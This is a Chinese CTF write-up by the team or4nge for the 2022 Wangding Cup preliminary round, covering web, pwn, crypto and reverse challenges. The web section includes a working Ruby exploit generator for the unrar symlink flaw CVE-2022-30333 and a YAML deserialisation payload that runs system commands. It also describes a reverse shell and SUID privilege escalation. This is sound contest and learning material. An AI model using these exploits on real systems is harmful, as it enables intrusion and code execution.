第三届网鼎杯初赛 writeup by or4nge
2022-9-9 15:13:0 Author: 赛博安全社团(查看原文) 阅读量:30 收藏

第三届网鼎杯初赛 writeup by or4nge
rank: 16th
or4nge 的师傅们在第三届“网鼎杯”网络安全大赛青龙组初赛中奋战 8 小时,成功 AK 了 Crypto 方向并晋级半决赛,师傅们真棒!

Web

web669

审源码,发现存在路径穿越(双写绕过过滤);

/etc/hosts,找到secret-key为engine-1,用flask-session-manager跑出来管理员的session

文件上传unrar任意写漏洞(CVE-2022-30333),ruby脚本跑一下,上传。注意md5值。

 1require 'zlib'
2if ARGV.length != 2
3  $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
4  $stderr.puts
5  $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
6  exit
7end
8SYMLINK_LENGTH = 0x68
9PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/''\\')
10if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
11  $stderr.puts "Payload symlink is invalid, probably too long!"
12  exit
13end
14PAYLOAD_LENGTH = 0x1000
15PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096"\0")
16if PAYLOAD_DATA.length != PAYLOAD_LENGTH
17  $stderr.puts "Payload data is invalid, probably too long!"
18  exit
19end
20FILENAME_LENGTH = 0x0c
21FILENAME = "DONTLOOKATME"
22RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
23RAR.concat(FILENAME) # Symlink filename
24RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
25RAR.concat(PAYLOAD_SYMLINK)
26RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
27RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
28RAR.concat("\x80\x00\x00\x0c")
29RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
30RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
31RAR.concat(PAYLOAD_DATA)
32RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
33print RAR
34ruby ./cve-2022-30333.rb '../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml' ./test.yaml > 3.rar

左右括号和system用编码绕,tuple用bytes绕

1!!python/object/new:bytes
2- !!python/object/new:map
3  - !!python/name:eval
4  - ["__import__\x28'os'\x29.\x73ystem\x28'【command】'\x29"]

访问/payload?display=3 反弹shell

1find / -user root -perm -4000 -print 2>/dev/null

看到dd有suid
dd if=/flag即可

Pwn

pwn497

非预期做法,在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load,使用它执行flag即可得解

1/lib/systemd/systemd-modules-load flag

Crypto

crypto091

查询可得1709号段为联通的最初号码,用以下脚本爆破可得答案。

 1import hashlib
2
3hv = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
4i = 0
5while True:
6    psw = '861709'
7    psw += str(i).zfill(7)
8    m = hashlib.sha256()
9    m.update(psw.encode())
10    res = m.hexdigest()
11    print(psw, res)
12    if res == hv:
13        break
14    i += 1

crypto405

用脚本处理txt

1f = open('output.txt''r')
2l = []
3for i in range(41):
4    rl = f.readline()
5    numStr = rl[15:19]
6    l.append(int(numStr, 16))

由提示flag{为前5字符,未知数也有5个,可通过方程得参数。不知道,但范围只有30000+,尝试爆破,后来发现至少大于57000,由后的最大值可得,爆破范围只有8000+,爆破即得答案。

 1rl = [829441506521455624457012455091322049233152252764084971132837306315562435752032475,
2      252695293323219154304977829003404591867017612144015779452996313522941264587679203,
3      22569276271395384413531008550749]
4
5
6def MillerRabinTest(p, k=10):
7    from random import randint
8    if p < 2:
9        return False
10    if p <= 3:
11        return True
12    if p & 1 == 0:
13        return False
14    s = 0
15    m = p - 1
16    while m and m & 1 == 0:
17        s += 1
18        m >>= 1
19    for j in range(k):
20        randomi = randint(2, p - 2)
21        if gcd(randomi, p) != 1:
22            return False
23        b = pow(randomi, m, p)
24        if b == 1 or b == p - 1:
25            continue
26        for i in range(s - 1):
27            b = pow(b, 2, p)
28            if b == 1:
29                return False
30            if b == p - 1:
31                break
32        else:
33            return False
34    return True
35
36
37rn = [ord('f'), ord('l'), ord('a'), ord('g'), ord('{')]
38p = 57000
39while True:
40    flag=''
41    if MillerRabinTest(p):
42        eqs=[]
43        kt=[]
44        kl=[]
45        R=GF(p)
46        k=list(var('k_%d'%i) for i in range(5))
47        for i in range(5):
48            kt.append(k[i])
49        for i in range(5):
50            if i!=0:
51                kt[0]=rn[i-1]*kt[0]
52                kt[1]*=kt[0]
53                kt[2]*=kt[1]
54                kt[3]*=kt[2]
55                kt[4]*=kt[3]
56            le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4]
57            equ=(le==rl[i])
58            eqs.append(equ)
59        res=solve(eqs,k,solution_dict=True)
60        for i in range(5):
61            tmp=res[0][k[i]]
62            ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1)
63            kl.append(ktmp)
64        pd=0
65        for i in range(41):
66            ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4]
67            cr=R(rl[i])*(ks)^(-1)
68            flag+=str(chr(int(cr)))
69            if 31<cr<128:
70                kl[0]=cr*kl[0]
71                kl[1]*=kl[0]
72                kl[2]*=kl[1]
73                kl[3]*=kl[2]
74                kl[4]*=kl[3]
75            else:
76                pd=1
77                print(i)
78                break
79        if pd==0:
80            print(kl)
81            print(p)
82            print(flag)
83            break
84        print(p)
85    p += 1

crypto162

递推可划为矩阵乘法。正向是矩阵乘法。

矩阵乘法有级的算法。故可以解决。

矩阵快速幂:

 1cof_t = [[353-116232767], [206-802142110], [262-708831882], [388-639421225], [295-946944468],
2         [749-350140559], [528-269010210], [354-538318437], [491-846726892], [932-698420447],
3         [731-628111340], [420-539244071], [685-655540938], [408-807047959], [182-985749477],
4         [593-358449243], [929-741031929], [970-454917160], [141-243536408], [344-381418949],
5         [291-745740587], [765-701132097], [700-853418013], [267-254133488], [249-893412321],
6         [589-961741998], [840-116622814], [947-566041003], [206-719546261], [784-927028410],
7         [338-369019608], [559-207844397], [534-343847830], [515-213939546], [603-646049953],
8         [234-682412579], [805-879336465], [245-588621077], [190-765820396], [392-705319739],
9         [609-539939959], [479-817245734], [321-710241224], [720-448711055], [208-189715237],
10         [890-442735168], [513-510645849], [666-113723725], [755-673239995], [589-642143716],
11         [866-326530017], [416-654034979], [840-130518242], [731-684413781], [561-272810298],
12         [863-595323132], [204-420827492], [158-870112720], [802-474016628], [491-687429057],
13         [531-482929205], [363-477541711], [319-920646164], [317-927018290], [680-513612009],
14         [880-294034900], [162-258749881], [997-526520890], [485-939523048], [867-165218926],
15         [691-784411180], [355-599013172], [923-201823110], [214-471923005], [921-952829351],
16         [349-795720161], [470-188946170], [244-610623879], [419-544043576], [930-112329859],
17         [151-575923405], [843-677036558], [574-617133778], [772-107344718], [932-403740088],
18         [848-581327304], [194-601639770], [966-678914217], [219-684940922], [352-604618558],
19         [794-825429748], [618-588715535], [202-928826590], [611-434146682], [155-790916654],
20         [935-573939342], [998-653824363], [125-567936725], [507-707415475], [699-583647549]]
21
22sum=0
23for i in range(100):
24    M=matrix([cof_t[i],[1,0,0],[0,1,0]])
25    Mf=M^(200000-2)
26    v = matrix(3,1,[3,2,1])
27    vf=Mf*v
28    sum+=vf[0][0]
29print(str(sum)[-2000:-1000])

解密得flag:

1from hashlib import md5, sha256
2s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
3key = md5(s.encode()).hexdigest()
4key = bytes.fromhex(key)
5check = sha256(key).hexdigest()
6print(check)
1from Crypto.Cipher import AES
2from hashlib import md5, sha256
3s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
4key = md5(s.encode()).hexdigest()
5key = bytes.fromhex(key)
6aes = AES.new(key, AES.MODE_ECB)
7data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
8data=bytes.fromhex(data)
9print(aes.decrypt(data))

Reverse

re694

动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分

分析发现,该代码块调用多处加密,具体为0x1400119B0,0x140011840

加密过程易得为

1s[i]=((s[i]^0x66)+10)^0x50

与结果数组比较即可

1a = [0x4B0x480x790x130x450x300x5C0x490x5A0x79,
2     0x130x700x6D0x780x130x6F0x480x5D0x640x64]
3for i in a:
4    print(chr(((i ^ 0x50)-10) ^ 0x66), end='')

re693

转换初始数组或编译运行程序得到print内容为

1Input the first function, which has 6 parameters and the third named gLIhR:
2Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:

第一处提示可直接搜索函数得到对应的函数名:ZlXDJkH3OZN4Mayd

第二处提示可使用脚本搜索

 1text = open('challenge''r').read().split('\n\n')
2text2 = [i.split('\n'for i in text]
3
4for i in text2:
5    if len(i) == 6:
6        x = i[4].split('(')[0][-16:]
7        if i[4].split('(')[0][-16:] == 'cHZv5op8rOmlAkb6':
8            str1 = i[0].split(' ')[1][:-2]
9            time = 0
10            for j in text2:
11                for k in j:
12                    if k.find(str1) > -1:
13                        time += 1
14            if time == 6:
15                print(str1)

得到两处函数名,在程序输入即可

Misc

签到

知识问答。搜索答案提交即可。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyNDIyNTE0OQ==&mid=2247484169&idx=4&sn=31f573659e25cc8bf06c260fa90022ce&chksm=c1d8581bf6afd10d5806f7b475c15bdd3a4622df6fede9f169e8855d00b5e1b83b225f7ee2b8#rd
如有侵权请联系:admin#unsafe.sh